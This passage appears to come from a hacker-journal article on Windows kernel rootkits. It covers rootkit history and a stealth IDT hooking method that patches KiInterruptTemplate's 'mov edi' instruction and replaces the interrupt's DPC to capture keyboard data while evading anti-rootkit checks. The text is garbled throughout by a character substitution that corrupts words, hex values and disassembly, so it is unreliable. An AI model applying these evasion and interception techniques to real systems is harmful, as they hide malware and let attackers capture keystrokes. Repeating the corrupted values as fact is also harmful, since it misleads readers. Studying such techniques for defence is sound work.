)nti-rootkits tr" to check those areas, (ut the task is 0er" hard. Aost of
the time, anti-rk soft3are makes a com*arison (et3een the memor" ima1e of
the *ro1ram and its (inar" on the disk or 0erif" some function *ointer
ta(les to see if somethin1 has chan1ed.
#hat8s ho3 the 3ar (et3een rk-makers and anti-rk-9unkies (e1an, tr"in1
to find the (est 3a", the (est area, for hookin1 critical o*eratin1
s"stem features. =n 'indo3s those follo3in1 areas are often used ("
rootkits E
- @@4# Ckernel s"scalls ta(leD and shado3 @@4# C3inHFk s"scall ta(leD are
the sim*lest solution.
- A@+ CAodel @*ecific +e1istersD can (e modified (" a rootkit. =n 'indo3s
the A@+?@7@/5#/+?/IP is used (" the assem(l" instructions 8s"senter8 to
enter into rin10 mode. &i9ackin1 this A@+ allo3 an attacker to control
the s"stem.
- Aa9or;unctions are functions used (" dri0ers for IW= *rocessin1 3ith
others de0ices, hookin1 those functions can (e useful for a rootkit.
- I4# CInterru*t 4escri*tor #a(leD is ta(le used (" the s"stem for
handlin1 exce*tions and interru*tions.
)nother kind of techni:ues has a**eared. !" accessin1 to the kernel
o(9ects a rootkit can easil" chan1e information a(out *rocesses, threads,
loaded modules and other stuff. #hose techni:ues are called 4,=A C4irect
,ernel =(9ect Aani*ulationD. ;or exam*le, the 'indo3s kernel maintains a
dou(le linked list called Ps)cti0eProcess%ist C/P+=$/@@ structuresD
containin1 information a(out runnin1 *rocesses. <nlink one of them and
"our *rocess 3ill disa**ear from *rocess lists like task mana1er, 3hereas
the *rocess is still runnin1.
#o (lock those kernel o(9ects modifications, anti-rk checks other
sections. ;or *rocesses, the" used to read the Ps*$id#a(le 3hich
has a ta(le of PI4 CProcess I4entifierD and #I4 C#hread I4entifierD.
) com*arison (et3een this ta(le and Ps)cti0eProcess%ist sho3s hidden
*rocesses. )1ainst those attacks anti-rk tools ha0e to find others
sections and tricks to detect altered o(9ects.
=ne of the first *a*er a(out 'indo3s stealth 3as 3ritten (" &ol" ;ather,
>In0isi(ilit" on 5# (oxes> [1. 'ith this *a*er came one of the first
*u(lic im*lementations of a rootkit 3ith a rin10 dri0er, &acker
4efender [F, coded (" &ol" ;ather and +atter of the famous VGin1 ma1 FL)
[H. #his dri0er 3as a(le to ele0ate *rocess ri1hts usin1 token
mani*ulation. #he rest of the rootkit uses user-land hooks to *erform files
and re1istr" hidin1, *rocess infection 3ith dll in9ection. ) 1ood exam*le
of a full rin10 rootkit is 5# +ootkit of 6re1 &o1lund [4, this dri0er uses
@@4# hooks to *erform stealth o*eration. It re1isters a ;ilter 4e0ice
=(9ect a(o0e the 5#;@ file s"stem and a(o0e the ke"(oard de0ice for
filterin1 I+P CIW= +e:uest PacketsD. It also *ro0ides a 54I@ *rotocol
dri0er to hide communication on the net3ork. /0en if this rk 3as 3ritten
for 5# 4.0 and 'inF, it8s a *erfect exam*le for (e1inners.
)fter came more ad0anced rin10 rk like ;< [., 3ritten (" ;uBen?o* and its
im*ro0ement ;<to *u(lished in the famous technical 9ournal <ninformed [-.
Vista im*ro0ement on dri0er 0erification introduces ne3 rootkits mostl"
(ased on hard3are features. %ike !oot+oot [J and Pixie [K (" /e"e
loaded (efore an" *rotection. ;inall" Ioanna +utko3ska 3ith her !lue
Pill [L used 0irtualiBation technolo1" to create la"er (et3een the
o*eratin1 s"stem and the hard3are.
In the 3ild the rk are used most of the time for lame mail s*ammin1 or
(otnets. #he" often use old techni:ues (ut some of them are interestin1
like +ustock [10 series or @torm'orm [11 and the A!+ rootkit [1F. #he"
im*lement a lot of tricks as )4@ C)lternate 4ata @treamD, code o(fuscation,
anti-de(u1, anti-VA or *ol"mor*hic code. #he 1oal is not onl" su(0ertin1
the kernel (ut also slo3 do3n their anal"sis and make them harder to
defeat.
/0en if the technolo1" used (" rootkits are more and more so*histicated,
the under1round communit" is still de0elo*in1 P=$s to im*ro0e current
techni:ues. <nreal [1H and ),LLF [14 are (oth 1reat exam*les. #he first
uses an )4@ and a 5#;@ Aa9or;unctions hookin1 to hide itself, the second
checks I+P com*letion 3hen sended to disk8s de0ices. 7ou can find *lent"
exam*les of rootkit techni:ues on rootkit.com.
;inall", this *art 3ould not (e com*lete if 3e don8t s*eak a(out anti-rk.
#he most famous is +k <nhooker (" AP?)+# M /P?G0;; and their team <6 5orth.
=thers anti-rk are 4ark@*" [1. (" $ardAa1ic, Ice@3ord [1- (" *9f and
6mer [1J.
----[ 1.F - )(out kernel le0el *rotections
'hen 3e talk a(out *rotection, 3e must notice 3here the *rotection takes
*lace into the s"stem. ) *rotection has an ad0anta1e on an attack onl"
if it o*erates from a hi1her le0el. Protections like PaG or /xec @hield
are efficient (ecause the" *rotectin1 userland from kernel.
Protections like Patch6uard and other &IP@ also *rotect the s"stem
inte1rit" (ut as far as an attacker can find a 3a" to attack those
*rotections at their o3n le0el the" 3ill (e useless. ) *rotection is
relia(le onl" if it can8t (e corru*ted (" an attacker. )ssumin1 an
attacker find a 3a" to in9ect code into the *rotection and "ou can
consider that "our (0x is dead.
#hat8s 3h" Patch6uard isn8t so efficient [1K. !ut 3e kno3 that disa(lin1
or destro"in1 a *rotection is 0er" nois". 5o, the (est 3a" is to fl" under
the radar (" 3orkin1 3ith s*ecial o(9ects and e0ents that cannot (e
checked (ecause of their 0olatilit".
In Iune F00-, 6re1 &o1lund *resented the conce*t of ,=& C,ernel =(9ect
&ookin1D [1L. ) ne3 3a" of detourin1 code execution, "ou don8t ha0e to
modif" static code section (ut rather "ou 3ork on d"namic allocated
structuresWcodes like 4P$ C4eferred Procedure $allsD. ;or *rotections,
it8s hard to find and 0erif" those areas due to their insta(ilities.
=thers cool o(9ects are I+P. #he" are the o(9ect used (" the 'indo3s
kernel IW= mana1er to communicate 3ith de0ices. /ach IW= o*eration on
hard3are 1enerates an I+P, s"calls send I+P to a dri0er throu1h his
de0ice. In 1eneral a dri0er o3ns se0eral de0ices[ one of them is used to
communi:ue 3ith the userland (" usin1 I=$#% and others de0ices are
mana1in1 I+P (" filterin1 them or *erformin1 a re:uested task.
I+P are sent to a dri0er usin1 its Aa9or;unctions ta(le. #his ta(le
includes the different functionalities *ro0ided (" the dri0er. 7ou can
check the result returned (" a Aa9or;unction (" installin1 a com*letion
routine on an I+P. #he" are 0er" 0olatile o(9ects[ controllin1 and
checkin1 them is 0er" hard.
In fact, if "ou 3ant to check e0er"thin1 "ou 3ould need to com*letel"
redesi1n o*eratin1 s"stem architecture. @o kee* in mind that *rotection
cannot (e e0er"3here at e0er" time and 3e 3ill demonstrate it in the
follo3in1 *arts.
----[ 1.H - $once*t ke"E use kernel code a1ainst itself
#he idea (ehind this *a*er is ex*loitin1 kernel code. /x*loitation is
*ossi(le (ecause in*ut defines code (eha0ior. @u(mittin1 a crafted in*ut
to a 0ulnera(le soft3are can leads into code execution. 4an1erous in*ut is
of course defined (" "our tar1et. ,ernel s*ace contains more ex*loitation
scenarios (ecause "ou can chan1e its en0ironment. ) rootkit can not
chan1e (asic in*uts as ar1uments. !ut it can chan1e the en0ironment around
a code. &ea* ex*loitation techni:ues such as unlinkin1 is a *erfect
exam*le. !" chan1in1 a memor" (lock structure, "ou are a(le to o0er3rite
4 ("tes. @ome techni:ues can e0en chan1e next allocated (lock address [F0.
It does 3ork (ecause a *ro1ram trusts those information. In kernel, "ou
ha0e a total control on the en0ironment. )lso com*letel" checkin1 the
kernel is (ad for *erformance and totall" im*ossi(le.
$han1in1 code en0ironment has (een used successfull" for the *hideF
rootkit [F1 techni:ue. #his rootkit can hide threads 3ithout hookin1
'indo3s scheduler 3hich is im*ressi0e. )s it relies on code (eha0ior, it
needs stron1 re0erse kno3led1e. It extends this conce*t into unkno3n
o*eratin1 s"stem (eha0iors. 6eneric *rotections are (ased on 1eneric
assum*tions. @uch as checkin1 onl" dri0er ima1es for code hooks. #hese
da"s o*eratin1 s"stems desi1n is a1ainst those *rotections and re:uires
ad0anced soft3are rootkit techni:ues.
---[ F - Introducin1 stealth hookin1 on I4#
%et8s introduce our conce*t a(out stealth hookin1 3ith an exam*le (ased on
I4#. ;irst 3e 3ill see 3hat is the I4# and its *ur*ose. #hen 3e 3ill
discuss a(out hard3are interru*ts and ho3 'indo3s deals 3ith them.
I4# CInterru*t 4escri*tor #a(leD is a $P< s*ecific linear ta(le localiBed
in kernel-land. I4# can (e read 3ith rin1H *ri0ile1e le0el (ut "ou must
ha0e rin10 *ri0ile1e if "ou 3ant to 3rite into it. I4# is com*osed of F.-
entries of ,I4#/5#+7 structures and "ou can use the ,ernel 4e(u11er C,4D
included into the 4e(u11in1 #ools for 'indo3s [FF to see the definition
of an I4# entr".
kdS dt ntP?,I4#/5#+7
Y0x000 =ffset E <intF!
Y0x00F @elector E <intF!
Y0x004 )ccess E <intF!
Y0x00- /xtended=ffset E <intF!
&ere 3e don8t 3ant to CreDex*lain the architecture of the I4# so 3e ad0ise
"ou to read ,ad8s *a*er *u(lished in Phrack .L a(out I4# and a(out ho3 it
3orks [FH.
#he first HF entries of I4# are reser0ed (" the $P< for exce*tions. =thers
are use to handle hard3are interru*ts and s*ecial s"stem e0ents.
&ere is a dum* of the first -4 entries of the 'indo3s8 I4#.

kdS Pidt -a
4um*in1 I4#E
00E K04dfH.0 ntP,i#ra*00
01E K04df4c( ntP,i#ra*01
0FE #ask @elector = 0x00.K
0HE K04dfKLd ntP,i#ra*0H
04E K04dfaF0 ntP,i#ra*04
0.E K04df(K1 ntP,i#ra*0.
0-E K04dfd0F ntP,i#ra*0-
0JE K04e0H-a ntP,i#ra*0J
0KE #ask @elector = 0x00.0
0LE K04e0JKf ntP,i#ra*0L
0aE K04e0Kac ntP,i#ra*0)
0(E K04e0LeL ntP,i#ra*0!
0cE K04e0c4F ntP,i#ra*0$
0dE K04e0fHK ntP,i#ra*04
0eE K04e1-4f ntP,i#ra*0/
0fE K04e1LJc ntP,i#ra*0;
10E K04e1aLL ntP,i#ra*10
11E K04e1(ce ntP,i#ra*11
1FE K04e1LJc ntP,i#ra*0;
1HE K04e1dH4 ntP,i#ra*1H
14E K04e1LJc ntP,i#ra*0;
1.E K04e1LJc ntP,i#ra*0;
1-E K04e1LJc ntP,i#ra*0;
1JE K04e1LJc ntP,i#ra*0;
1KE K04e1LJc ntP,i#ra*0;
1LE K04e1LJc ntP,i#ra*0;
1aE K04e1LJc ntP,i#ra*0;
1(E K04e1LJc ntP,i#ra*0;
1cE K04e1LJc ntP,i#ra*0;
1dE K04e1LJc ntP,i#ra*0;
1eE K04e1LJc ntP,i#ra*0;
1fE K04e1LJc ntP,i#ra*0;
F0E 00000000
F1E 00000000
FFE 00000000
FHE 00000000
F4E 00000000
F.E 00000000
F-E 00000000
FJE 00000000
FKE 00000000
FLE 00000000
FaE K04de(LF ntP,i6et#ick$ount
F(E K04decL. ntP,i$all(ack+eturn
FcE K04deeH4 ntP,i@et%o3'ait&i1h#hread
FdE K04dfJJc ntP,i4e(u1@er0ice
FeE K04de-H1 ntP,i@"stem@er0ice
FfE K04e1LJc ntP,i#ra*0;
H0E K0-fHd4K halP&al*$lockInterru*t
H1E K0ddK1-c iK04F*rtPIK04F,e"(oardInterru*t@er0ice C,I5#/++<P# K0ddK1H0D
HFE K04ddd04 ntP,i<nex*ectedInterru*tF
HHE K0ddHFF4 serialP@erial$Isr@3 C,I5#/++<P# K0ddH1eKD
H4E K04ddd1K ntP,i<nex*ectedInterru*t4
H.E K04dddFF ntP,i<nex*ectedInterru*t.
H-E K04dddFc ntP,i<nex*ectedInterru*t-
HJE K04dddH- ntP,i<nex*ectedInterru*tJ
HKE K0-edef0 halP&al*ProfileInterru*t
HLE K0f0KFJc )$PIP)$PIInterru*t@er0ice+outine C,I5#/++<P# K0f0KF40D
HaE K0dc-Jcc 0msr0cY0x1$1- C,I5#/++<P# K0dc-JL0D
H(E K0df-414 54I@PndisAIsr C,I5#/++<P# K0df-HdKD
HcE K0de040c iK04F*rtPIK04FAouseInterru*t@er0ice C,I5#/++<P# K0de0Hd0D
HdE K04dddJF ntP,i<nex*ectedInterru*t1H
HeE K0edJKa4 ata*iPIdePortInterru*t C,I5#/++<P# K0edJK-KD
HfE K0f01dd4 ata*iPIdePortInterru*t C,I5#/++<P# K0f01dLKD
40E K04dddL0 ntP,i<nex*ectedInterru*t1-
[...
#his dum* re*resents a t"*ical 'indo3s I4#, "ou can see the I4# entries
index follo3ed (" the address of the handler and this name. #he first HF
entries are filled (" ,i#ra*O functions that mana1e exce*tions. #he rest
of the ta(le is left to the s"stem, "ou can see s*ecials s"stem interru*ts
like ,i@"stem@er0ice and ,i$all(ack+eturn and handlers used (" dri0ers
like IK04F,e"(oardInterru*t@er0ice or IK04FAouseInterru*t@er0ice.
----[ F.1 - &o3 'indo3s mana1e hard3are interru*ts
'hen 3e talk a(out interru*ts 3e must introduce the conce*t of I+X%
CInterru*t +eXuest %e0elD. #he kernel re*resents I+X%s internall" as a
num(er from 0 throu1h H1 on xK- 3ith hi1her num(ers re*resentin1 hi1her
*riorit" interru*ts. )lthou1h the kernel defines the standard set of I+X%s
for soft3are interru*ts, the &)% C&ard3are )(straction %a"erD ma*s
hard3are interru*t num(ers to the I+X%s.
Y----------------Y
H1 | &i1hests | \
to | I+X%s | | $lock, s"stem failure.
FJ | | W
Y----------------Y
F- | | \
to | 4/VI$/?I+X% | | &ard3are interru*ts.
H | | W
Y----------------Y
F | 4I@P)#$&?%/V/% | @cheduler, 4P$.
Y----------------Y
1 | )P$?%/V/% | <sed 3hen dis*atchin1 )P$.
Y----------------Y
0 | P)@@IV/?%/V/% | #hreads run at this I+X%.
Y----------------Y

/ach *rocessor has its o3n I+X%. 7ou can ha0e a core runnin1 at an I+X%=
4I@P)#$&?%/V/% 3hereas another is runnin1 at P)@@IV/?%/V/%. In fact I+X%
re*resents the >mask a(ilit"> of the current runnin1 code. Interru*ts from
a source 3ith an I+X% a(o0e the current le0el interru*t the *rocessor,
3hereas interru*ts from sources 3ith I+X%s e:ual to or (elo3 the current
le0el are masked until an executin1 thread decrease the I+X%.
@ome s"stem com*onents are not accessi(le 3hen code is runnin1 at
I+X%S=4I@P)#&?%/V/%. )ccessin1 to *a1ed memor" Cmemor" 3hich can (e
s3a**ed on diskD is im*ossi(le and lots of kernel functions cannot (e used.
&ard3are interru*ts are as"nchronous and reached (" external *eri*herals.
;or exam*le 3hen "ou hit a ke", "our ke"(oard de0ice sends an I+X
CInterru*t +eXuestD routed (" the @outh(rid1e [F4 on "our interru*t
controller throu1h the 5orth(rid1e [F.. #he @outh(rid1e is a chi* that can
(e descri(ed like a IW= controller hu(. #his chi* recei0es all the IW=
externals interru*t and send them to the 5orth(rid1e. #he 5orth(rid1e is
directl" connected to "our memor" and hi1h s*eed 1ra*hic (us also to "our
$P<. #his chi* is also kno3n as the memor" controller hu(.
=n most xK- s"stems 3e find a chi*set called iKF4KL, )d0anced Pro1ramma(le
Interru*t $ontroller C)PI$D. #he )PI$ is com*osed (" F main com*onents, a
IW= )PI$, one *er $P<, and a %)PI$ C%ocal )PI$D on each core. IW= )PI$
uses a routin1 al1orithm to dis*atch an interru*t on the (est ada*ted core.
)ccordin1 to the *rinci*le of localit", IW= )PI$ 3ill deli0er the de0ice
interru*t on the core 3hich handled it the *re0ious time [F-.
)fter this %)PI$ translates the I+X to an K-(its 0alue, an interru*t
0ector. #his interru*t 0ector re*resents I4#8s entr" index associated 3ith
the handler. 'hen the core is read" to handle the interru*t, its
instruction flo3 is redirected on the I4# entr".
I4# I4# I4# I4#
1 F H 4
Y---Y Y---Y Y---Y Y---Y
| | | | | | | |
|---| |---| |---| |---|
| | | | | | | |
|---| |---| |---| |---|
| | | | | | | |
Y---Y Y---Y Y---Y Y---Y
| | | |
Y--------Y Y--------Y Y--------Y Y--------Y
| | | | | | | |
| core 1 | | core F | | core H | | core 4 |
| | | | | | | |
Y--------Y Y--------Y Y--------Y Y--------Y
| %)PI$ | | %)PI$ | | %)PI$ | | %)PI$ |
Y---Y----Y Y---Y----Y Y---Y----Y Y---Y----Y
| | | |
| | | |
R---Y--------------Y------Y-------Y-------------Y-----S
Interru*t | Processor s"stem (us
Aessa1es |
|
|
/xternal Y------Y------Y
Interru*ts | |
---------------S IW= )PI$ |
| |
Y-------------Y
-----[ F.H.1 &ard3are interru*ts dis*atchin1 on 'indo3s

=n 'indo3s, the interru*t handler isn8t executed immediatel", there is a
code tem*late first. #his tem*late is im*lemented in the function
,iInterru*t#em*late and does t3o thin1s. ;irst, it sa0es the current
core state in the stack and dis*atches code flo3 to the ri1ht >interru*t
dis*atcher>.
'hen a interru*t is raised, after the core status core is sa0ed, code flo3
is transferred to the interru*t handler as defined in the I4#. In fact
each interru*t handler in the I4# *oints to a ,iInterru*t#em*late
routine [FJ. ,iInterru*t#em*late 3ill call ,iInterru*t4is*atch 3hich
*erforms the follo3in1 o*erations E
- )c:uire the ser0ice routine s*inlock.
- +aise I+X% to 4/VI$/?I+X%, the I+X% of a 1i0en interru*t 0ector is
calculated (" su(tractin1 the interru*t 0ector from FJd.
- $all the interru*t handler, an I@+ CInterru*t @er0ice +outineD.
- %o3er I+X%.
- +elease the ser0ice routine s*inlock.
;or exam*le, the ke"(oard de0ice I@+ is IK04F,e"(oardInterru*t@er0ice.
I@+ are routines for handlin1 interru*ts like to*-hal0es in the linux
kernel. )ccordin1 to the '4, C'indo3s 4ri0er ,itD, the I@+ must do
3hate0er is a**ro*riate to the de0ice to dismiss the interru*t. #hen, it
should do onl" 3hat is necessar" to sa0e sta1e and :ueue a 4P$. It means it
interru*tion mana1ement 3ill take *lace on a lo3er I+X% than durin1 I@+
execution. #he IW= *rocessin1 is done into the 4P$.
4P$ C4eferred Procedure $allD are e:ui0alent of (ottom-hal0es in linux.
4P$ 3orks at I+X% 4I@P)#$&?%/V/%, lo3er than the I@+8s I+X%. In fact the
I@+ 3ill :ueue a 4P$ to *rocess the entire interru*t at a lo3er I+X% in
order to a0oid the core *reem*tion takin1 too much time. ;or the ke"(oard
the 4P$ is IK04F,e"(oardIsr4*c. &ere a fi1ure to sum u* the interru*t
*rocessin1 E
Y-------------------------Y
&ard3are Interru*t W----S &ere 3e are at |
| | | I+X%=4/VI$/?%/V/% |
| | | #he ,iInterru*t4is*atch |
W---S I4# ---\ | | routine calls the I@+. |
| | | |
| | | I@+ handles interru*t |
Y-----------------------Y | | and :ueue a 4P$ for |
| ,iInterru*t#em*late ------W | later *rocessin1 |
Y-----------------------Y | |
Y-------------------------Y

,iInterru*t4is*atch recei0es one main ar1ument from ,iInterru*t#em*late,
a *ointer to an interru*t o(9ect stored in the /4I re1ister. Interru*t
o(9ects are defined (" a ,I5#/++<P# structure E
kdS dt ntP?,I5#/++<P#
Y0x000 #"*e E IntF!
Y0x00F @iBe E IntF!
Y0x004 Interru*t%ist/ntr" E ?%I@#?/5#+7
Y0x00c @er0ice+outine E PtrHF unsi1ned char
Y0x010 @er0ice$ontext E PtrHF Void
Y0x014 @*in%ock E <int4!
Y0x01K #ick$ount E <int4!
Y0x01c )ctual%ock E PtrHF <int4!
Y0x0F0 4is*atch)ddress E PtrHF 0oid
Y0x0F4 Vector E <int4!
Y0x0FK Ir:l E <$har
Y0x0FL @"nchroniBeIr:l E <$har
Y0x0Fa ;loatin1@a0e E <$har
Y0x0F( $onnected E <$har
Y0x0Fc 5um(er E $har
Y0x0Fd @hareVector E <$har
Y0x0H0 Aode E ?,I5#/++<P#?A=4/
Y0x0H4 @er0ice$ount E <int4!
Y0x0HK 4is*atch$ount E <int4!
Y0x0Hc 4is*atch$ode E [10- <int4!
'e retrie0e in this structure, the @*in%ock and the @er0ice+outine. 5otice
that @"nchroniBeIr:l contains the I+X% 3hen the I@+ 3ill (e executed.
;or each entr" in the I4# 3hich handles a hard3are interru*t, the
,iInterru*t#em*late is contained in the 4is*atch$ode ta(le of the
,I5#/++<P# structure.

;or the ke"(oard de0ice 3e ha0e this ,I5#/++<P# E
kdS dt ntP?,I5#/++<P# K0ddK1H0
Y0x000 #"*e E FF
Y0x00F @iBe E 4K4
Y0x004 Interru*t%ist/ntr" E ?%I@#?/5#+7 [ 0xK0ddK1H4 - 0xK0ddK1H4
Y0x00c @er0ice+outine E 0xfaK1.4L. unsi1ned char
-SiK04F*rtPIK04F,e"(oardInterru*t@er0iceY0
Y0x010 @er0ice$ontext E 0xK0eFecKK
Y0x014 @*in%ock E 0
Y0x01K #ick$ount E 0xffffffff
Y0x01c )ctual%ock E 0xK0eFed4K -S 0
Y0x0F0 4is*atch)ddress E 0xK04daKdK 0oid ntP,iInterru*t4is*atchY0
Y0x0F4 Vector E 0xH1
Y0x0FK Ir:l E 0x1a 88
Y0x0FL @"nchroniBeIr:l E 0x1a 88
Y0x0Fa ;loatin1@a0e E 0 88
Y0x0F( $onnected E 0x1 88
Y0x0Fc 5um(er E 0 88
Y0x0Fd @hareVector E 0 88
Y0x0H0 Aode E 1 C %atched D
Y0x0H4 @er0ice$ount E 0
Y0x0HK 4is*atch$ount E 0xffffffff
Y0x0Hc 4is*atch$ode E [10- 0x.-.H...4
%et8s ha0e a look at the (e1innin1 of ,iInterru*t#em*late E
ntP,iInterru*t#em*lateE
K04daLJF .4 *ush es*
K04daLJH .. *ush e(*
K04daLJ4 .H *ush e(x
K04daLJ. .- *ush esi
K04daLJ- .J *ush edi
K04daLJJ KHec.4 su( es*,.4h
K04daLJa K(ec mo0 e(*,es*
K04daLJc KL44F444 mo0 d3ord *tr [es*Y44h,eax
K04daLK0 KL4cF440 mo0 d3ord *tr [es*Y40h,ecx
K04daLK4 KL.4F4Hc mo0 d3ord *tr [es*YH$h,edx
K04daLKK fJ44F4J000000F00 test d3ord *tr [es*YJ0h,F0000h
K04daLL0 0fK.Fa010000 9ne ntPVK-?kit?a CK04daac0D
K04daLL- --KHJcF4-c0K cm* 3ord *tr [es*Y-$h,K
K04daLLc J4FH 9e ntP,iInterru*t#em*lateY0x4f CK04daLc1D
K04daLLe Kc-4F4.0 mo0 3ord *tr [es*Y.0h,fs
K04daLaF Kc.cF4HK mo0 3ord *tr [es*YHKh,ds
K04daLa- Kc44F4H4 mo0 3ord *tr [es*YH4h,es
K04daLaa Kc-cF4H0 mo0 3ord *tr [es*YH0h,1s
K04daLae ((H0000000 mo0 e(x,H0h
K04daL(H (KFH000000 mo0 eax,FHh
K04daL(K --KeeH mo0 fs,(x
K04daL(( --KedK mo0 ds,ax
K04daL(e --Kec0 mo0 es,ax
K04daLc1 -4K(1d00000000 mo0 e(x,d3ord *tr fsE[0
K04daLcK -4cJ0.00000000ffffffff mo0 d3ord *tr fsE[0,0;;;;;;;;h
K04daLdH KL.cF44c mo0 d3ord *tr [es*Y4$h,e(x
K04daLdJ K1fc00000100 cm* es*,10000h
K04daLdd 0fKF(.000000 9( ntP)(ios?kit?a CK04daaLKD
K04daLeH cJ44F4-400000000 mo0 d3ord *tr [es*Y-4h,0
K04daLe( fc cld
K04daLec K(.d-0 mo0 e(x,d3ord *tr [e(*Y-0h
K04daLef K(Jd-K mo0 edi,d3ord *tr [e(*Y-Kh
K04daLfF KL..0c mo0 d3ord *tr [e(*Y0$h,edx
K04daLf. cJ4.0K000dd((a mo0 d3ord *tr [e(*YK,0!)4!0400h
K04daLfc KL.d00 mo0 d3ord *tr [e(*,e(x
K04daLff KLJd04 mo0 d3ord *tr [e(*Y4,edi
K04daa0F f-0..0f0dfffff test ("te *tr dsE[0;;4;;0.0h,0;;h
K04daa0L J.0d 9ne ntP4r?kit?a CK04daa1KD
ntP,iInterru*t#em*lateFnd4is*atchE
K04daa0( (f00000000 mo0 edi,0
ntP,iInterru*t#em*late=(9ectE
K04daa10 eLcHfcffff 9m* ntP,e@"nchroniBe/xecutionY0xF CK04da-dKD
[...
+emem(er, this code is uni:ue for each ,I5#/++<P#. 'e said (efore that
,iInterru*t4is*atch recei0es its ar1uments from the /4I re1ister Ca
*ointer to the ,I5#/++<P# of the interru*tD. In the ,iInterru*t#em*late
3e can see this little code E
[...
ntP,iInterru*t#em*lateFnd4is*atchE
K04daa0( (f00000000 mo0 edi,0
ntP,iInterru*t#em*late=(9ectE
K04daa10 eLcHfcffff 9m* ntP,e@"nchroniBe/xecutionY0xF CK04da-dKD
[...
&ere 3e ha0e a mo0 >edi, 0> and a 9m*, (ut if 3e look at the
,iInterru*t#em*late code contained in the ke"(oard8s ,I5#/++<P# 3e ha0e E
ff(JF.F. (f.0F4(Jff mo0 edi,0;;!JF4.0h [ ,e"(oard ,I5#/++<P#
ff(JF.Fa eLaLKHL-K0 9m* ntP,iInterru*t4is*atch CK04daKdKD
'o3, instructions are modifiedP #he kernel 3ill d"namicall" chan1es those
F instructions in the ,iInterru*t#em*late code. In /4I 3e find the
,I5#/++<P# o(9ect and the 9m* (ranch on ,iInterru*t4is*atch.
'h" this im*lementation 2 !ecause 3e can easil" chan1e the dis*atch
handler. /0en if 3e often ha0e the ,iInterru*t4is*atch 3e can find
,i;loatin14is*atch or ,i$hain4is*atch. ,i$hained4is*atch is for 0ectors
shared amon1 multi*le interru*t o(9ects and ,i;loatin14is*atch is like
,iInterru*t4is*atch, (ut it sa0es the floatin1 core state too.
'indo3s *ro0ides )PIs for connectin1 interru*ts on I4#. Io$onnectInterru*t
and Io$onnectInterru*t/x, accordin1 to the '4, E
5#@#)#<@
Io$onnectInterru*tC
=<# P,I5#/++<P# OInterru*t=(9ect,
I5 P,@/+VI$/?+=<#I5/ @er0ice+outine,
I5 PV=I4 @er0ice$ontext,
I5 P,@PI5?%=$, @*in%ock =P#I=5)%,
I5 <%=56 Vector,
I5 ,I+X% Ir:l,
I5 ,I+X% @"nchroniBeIr:l,
I5 ,I5#/++<P#?A=4/ Interru*tAode,
I5 !==%/)5 @hareVector,
I5 ,);;I5I#7 Processor/na(leAask,
I5 !==%/)5 ;loatin1@a0e
D[
)s "ou can see Io$onnectInterru*t returns in the Interru*t=(9ect *arameter
a ,I5#/++<P# structure, the same that 3e retrie0e in the I4#. Pre0iousl"
"ou ha0e seen in the ,iInterru*t#em*late t3o la(els,
,iInterru*t#em*late=(9ect and ,iInterru*t#em*lateFnd4is*atch. #hose t3o
la(els are used (" kernel function to find the t3o instructions in the
,iInterru*t#em*late+outine. ,eInitialiBeInterru*t uses the
,iInterru*t#em*late=(9ect la(el to u*date the >9m* ,iO4is*atch> and the
,i$onnectVector)ndInterru*t=(9ect function uses
,iInterru*t#em*lateFnd4is*atch to modif" the >mo0 edi, RM,interru*tS>.
-----[ F.H.F &ookin1 hard3are I4# like a nin9a
5o3, think a(out this. 'e 3ant to hook the I4# in a stealth 3a", 3e kno3
that re*lacin1 an entr" directl" is not the (est solution. )nti-rooktits
don8t check the d"namicall" allocated ,iInterru*t#em*late routine. @o 3e
can modif" this routine as 3e 3ish. #here are three *ossi(le 3a"s E
- +edirect the >9m* ,iO4is*atch> on our dis*atch routine, 3e ha0e to code
our dis*atch routine, not so hard.
- $han1e the kinterru*t address *assed in /4I (" the instruction
>mo0 edi, RM,interru*tS>. #he ne3 ,I5#/++<P# 3ill (e the same than the
*re0ious one, onl" the @er0ice+outine 3ill (e modified (" us.
- $reate our o3n ,iInterru*t#em*late, hard ...
In this *a*er, 3e choosed the sim*lest 3a". 'e chan1e the
>mo0 edi, RMkinterru*tS> (" a >mo0 edi, RM=ur,interru*tS> and 3e im*lement
our @er0ice+outine. 'e kno3 that this instruction is follo3ed (" a 9m*, so
3ith a disassem(l" en1ine 3e can retrie0e the instruction (efore the 9m*
ntP,iInterru*t4is*atch and modif" it. 'e must kee* in mind, 3hen the
@er0ice+outine is runnin1, the interru*t is not handled "et and 3e are
runnin1 at 4/VI$/?I+X% I+X%. #his is not a fair situation, (ecause a
lot of 'indo3s kernel functions are not accessi(le. 'e kno3, that most
I@+ :ueued a 4P$, so after the I@+ has (een executed, the last entr" in
the current core 4P$ :ueue should contain the 4P$ routine of our interru*t.
If 3e 3ant to access data 1enerated (" the interru*t 3e must *roceed like
the I@+. +e*lacin1 the ori1inal I@+ (" our o3n I@+ handler is 0er" hard,
(ecause it de*ends too much on the hard3are de0ice. !ut 3e kno3 that the
real IW= is done (" the 4P$, so 3hen ,iInterru*t#em*late 3ill call our
@er0ice+outine, first 3e call the ori1inal @er0ice+outine and 3e modif"
the last 4P$ entr" (" our.
4P$ are re*resented (" ,4P$ structures E
kdS dt ntP?,4P$
Y0x000 #"*e E IntF!
Y0x00F 5um(er E <$har
Y0x00H Im*ortance E <$har
Y0x004 4*c%ist/ntr" E ?%I@#?/5#+7
Y0x00c 4eferred+outine E PtrHF 0oid
Y0x010 4eferred$ontext E PtrHF Void
Y0x014 @"stem)r1ument1 E PtrHF Void
Y0x01K @"stem)r1umentF E PtrHF Void
Y0x01c %ock E PtrHF <int4!
4P$ list can (e found in the ,P+$! C,ernel Processor $ontrol +e1ion !lockD
structure of the current *rocessor. ,P+$! is *receded (" a ,P$+ C,ernel
Processor $ontrol !lockD structure 3hich is located at ;@E[0x1$ on the
current *rocessor. ,P+$! is a 0x1F0 ("tes from the (e1innin1 of the ,P$+
structure.
dt ntP?,P+$!
[...
Y0xK-0 4*c%ist&ead E ?%I@#?/5#+7
Y0xK-K 4*c@tack E PtrHF Void [ 4P$ ar1uments
Y0xK-c 4*c$ount E <int4! [ 4P$ core counter
Y0xKJ0 4*cXueue4e*th E <int4! [ 5um(ers of 4P$ in the list
Y0xKJ4 4*c+outine)cti0e E <int4!
Y0xKJK 4*cInterru*t+e:uested E <int4!
Y0xKJc 4*c%ast$ount E <int4!
Y0xKK0 4*c+e:uest+ate E <int4!
Y0xKK4 Aaximum4*cXueue4e*th E <int4!
Y0xKKK Ainimum4*c+ate E <int4!
5o3 3e kno3 ho3 to retrie0e the 4P$ of our interru*t, 3e can easil"
chan1e it to our o3n and handle the data.

